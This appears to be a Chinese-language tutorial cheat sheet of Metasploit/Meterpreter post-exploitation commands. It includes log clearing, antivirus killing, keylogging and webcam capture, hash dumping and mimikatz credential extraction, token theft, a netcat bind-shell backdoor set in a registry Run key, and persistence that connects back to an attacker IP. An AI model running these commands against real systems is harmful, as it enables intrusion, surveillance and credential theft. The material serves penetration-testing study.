MSF基础认知
体系框架
Metasploit 文件系统
下载地址 www.metasploit.com/download
data:Metasploit使用的可编辑文件
documentation:为框架提供文档
external: 源代码和第三方库
lib:框架代码库的'肉'
modules:实际的MSF模块
plugins:可以在运行时加载的插件
scripts:Meterpreter和其他脚本
tools:各种有用的命令行工具
核心文件包括 data、modules、scripts、tools、plugins
- data,该文件里常用的功能在wordlists里面
- modules,msf核心文件
auxiliary 漏洞辅助模块一般是没有攻击载荷的漏洞攻击
encoders 码器模块
evasion 反杀模块
exploits 渗透攻击模块
nops 空指令模块
payloads 漏洞负载模块
- scripts,脚本
- tools,工具
- plugins,插件
后渗透常见命令
系统命令
kali->windows
-
- 基本系统命令
sessions
-i 进入会话
-k 杀死会话
background 将当前会话放置后台
run 执行已有的模块,输入run后按两下tab,列出已有的脚本
info 查看已有模块信息
getuid 查看权限
getpid 获取当前进程的pid
sysinfo 查看目标机系统信息
ps 查看当前活跃进程
kill 杀死进程
idletime 查看目标机闲置时间
reboot 重启
shutdown 关机
shell 进入目标机cmd shell
-
- 开启键盘/鼠标
uictl [enable/disable] [keyboard/mouse/all] 开启或禁止键盘/鼠标
uictl disable mouse 禁用鼠标
uictl disable keyboard 禁用键盘
uictl enable mouse 开启鼠标
uictl enable keyboard 开启键盘
-
- 摄像头命令
webcam_list 查看摄像头
webcam_snap 通过摄像头拍照
webcam_stream 通过摄像头开启视频
-
- 执行文件
execute -H -i -f cmd.exe 创建新进程 cmd.exe -H 不可见 -i 交互 -m 在内存中运行
-
- 进程迁移 exporer
getpid 获取当前进程的pid
ps 查看当前活跃进程
migrate 将Meterpreter会话移植到指定pid值进程中
kill 杀死进程
-
- 清除日志
clearev 清除windows中的应用程序日志、系统日志、安全日志,需要管理员权限 system
文件命令
-
- 基础文件系统命令
getwd/pwd 查看当前工作目录
ls` `cd` `cat C://Users//dayu//Desktop//dayu.txt 查看文件内容
upload /root/Desktop/test-dayu.txt C://Users//dayu//Desktop 上传文件到目标机上
download C://Users//dayu//Desktop//dayu.txt /root/Desktop/ 下载文件到本机上
edit C://Users//dayu//Desktop//1.txt 会进入编辑模式,编辑或创建文件,没有的话,会新建文件
rm C://Users//dayu//Desktop//1.txt 删除文件
mkdir lltest2 只能在当前目录下创建文件夹
rmdir lltest2 只能删除当前目录下文件夹
getlwd/lpwd 操作攻击者主机 查看当前目录
lcd /tmp 操作攻击者主机 切换目
- 2.伪造时间戳
timestomp -v C:/phpStudy/manual.chm 查看时间戳
timestomp C://2.txt -f C://1.txt 将1.txt的时间戳复制给2.txt
- 3.搜索文件
search -f *dayu*.exe 全局搜索dayu.exe这个文件
网络命令
-
- 基本命令
ipconfig/ifconfig 查看网卡信息
netstat –ano 查看端口进程
arp 查看ARP信息
getproxy 查看代理信息
route 查看路由
-
- 端口转发
ortfwd add -l 6666 -p 3389 -r 127.0.0.1 将目标机的3389端口转发到本地6666端口
rdesktop 127.0.0.1:6666 kali远程桌面使用6666端口
-
- 添加路由
run autoroute -s 10.10.10.0/24 添加到目标环境网络
run autoroute –p 查看添加的路由
内网穿透必备!
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 扫描整个段存活主机
run auxiliary/scanner/portscan/tcp RHOSTS=10.10.10.2 PORTS=3389 检查IP是否开放3389
-
- Socks4a代理
msf > use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run`
配置proxychains:
vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080`
最后proxychains 使用Socks4a代理访问工具或者浏览器即可!
信息收集
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
run post/windows/gather/checkvm 是否虚拟机
run post/linux/gather/checkvm 是否虚拟机
run post/windows/gather/forensics/enum_drives 查看分区
run post/windows/gather/enum_applications 获取安装软件信息
run post/windows/gather/dumplinks 获取最近的文件操作
run post/windows/gather/enum_ie 获取IE缓存
run post/windows/gather/enum_chrome 获取Chrome缓存
run post/windows/gather/enum_patches 补丁信息
run post/windows/gather/enum_domain 查找域控
提权
- getsystem
1、getsystem 创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道
2、getsystem 产生一个进程,它创建一个命名管道并等待来自该服务的连接
3、Windows服务已启动,导致与命名管道建立连接
4、该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程,这里不是特别稳定
- bypassuac
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
use exploit/windows/local/bypassuac
set session 5
run
getsystem
getuid
大部分情况下直接使用`getsystem`是很难提权的,会提示管道内存问题、令牌问题、RPCSS变体等阻碍提权,但如果利用bypassuac返回新会话,就非常稳定提权
内核提权
可先利用`enum_patches`模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接
run post/windows/gather/enum_patches 查看补丁信息
use exploit/windows/.... 利用未打补丁的模块即可
set SESSION 5
exploit
远程桌面/截图
enumdesktops 查看可用的桌面
getdesktop 获取当前
meterpreter 关联的桌面
set_desktop 设置
meterpreter 关联的桌面 -h查看帮助
screenshot 截屏
use espia/espia 模块截屏
然后输入screengrab
run vnc 使用vnc远程桌面连接
- 1.enumdesktops
- 2.screenshot
- 3.espia截图
meterpreter > use espia
meterpreter > screengrab
利用espia模块会自动打开截图的图片,screenshot不会自动打开,需要自行到tmp目录下打开!
开启rdp&添加用户
- 1.getgui
run getgui -e 开启远程桌面
run getgui -u dayu1 -p 123456 添加用户
run getgui -f 9999 –e 3389端口转发到6661`
该方法创建用户不稳定
- 2.enable_rdp
run post/windows/manage/enable_rdp 开启远程桌面
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=9998 将3389端口转发到9998
键盘记录
keyscan_start 开始键盘记录
keyscan_dump 导出记录数据
keyscan_stop 结束键盘记录
注意:导出记录的话要在keyscan_stop命令之前,不然结束了就无法导出了
sniffer抓包
use sniffer
sniffer_interfaces 查看网卡
sniffer_start 2 选择网卡 开始抓包
sniffer_stats 2 查看状态
sniffer_dump 2 /tmp/lltest.pcap 导出pcap数据包
sniffer_stop 2 停止抓包
注册表操作
- 参数列表如下后面补充图片
注册表设置nc后门
upload /root/Desktop/nc64.exe C://Users//dayu//Desktop 上传nc,前面的是你要上传文件的位置
reg enumkey -k HKLM\software\microsoft\windows\currentversion\run 枚举run下的key
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C://Users//dayu//Desktop//nc.exe -Ldp 443 -e cmd.exe' 设置键值
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc 查看键值
nc -v 192.168.0.142 443 连接
令牌操作
-
- 假冒令牌
use incognito 进入incognito模式
help incognito 查看帮助
list_tokens -u 查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' 假冒SYSTEM token,或者用下面的
impersonate_token NT\ AUTHORITY\SYSTEM 不加单引号 需使用
execute -f cmd.exe -i –t -t 使用假冒的token执行或者直接shell
rev2self 返回原始token`
- 2. steal_token窃取令牌
teal_token 从指定进程中窃取token
先ps
drop_token #删除窃取的token`
这种方法如果不是SYSTEM权限的话是无法窃取SYSTEM权限的,只能窃取相关的权限
关闭杀软
meterpreter> run killav 这个脚本要小心使用,可能导致目标机器蓝屏死机
密码抓取
-
- hashdump导出密码哈希
run hashdump 到处本地用户账号
run windows/gather/smart_hashdump 导出域内账号
smart_hashdump 可以配合 psExec模块进行哈希攻击
-
- 抓取自动登录的密码
run windows/gather/credentials/windows_autologin
-
- wiki模块使用
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
kiwi_cmd sekurlsa::logonpasswords
这里将kiwi_cmd理解为mimikatz即可…通过mimikatz命令成功获得了明文密码…
后门植入
-
- persistence 启动项后门
run persistence –h 查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.175.145 -X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip`
缺点是容易被杀毒软件查杀!,建议思路是:
`在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本` `在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项`
- 2. metsvc服务后门
run metsvc –h 查看帮助
run metsvc –A 自动安装后门
set payload windows/metsvc_bind_tcp
并把port设置31337端口即可...连接
扫描脚本
/usr/share/metasploit-framework/modules/auxiliary/scanner/ 在这个目录下是扫描脚本
use auxiliary/scanner/http/dir_scanneruse auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login 常用的扫描脚本,枚举什么自己看文件名即可理解
Metasploit一些思路:
1、漏扫模块编写自己的扫描仪
2、MSF和Nessus联动合作,或进行各方面的漏扫等
3、利用Metasploit写一个漏洞检查工具
4、Metasploit开发利用源码写EXP
5、开发web应用程序漏洞解决Dot Defender等
6、嗅探、透视、隐身、无痕访问、爆破等等
7、post开发等等都可以操作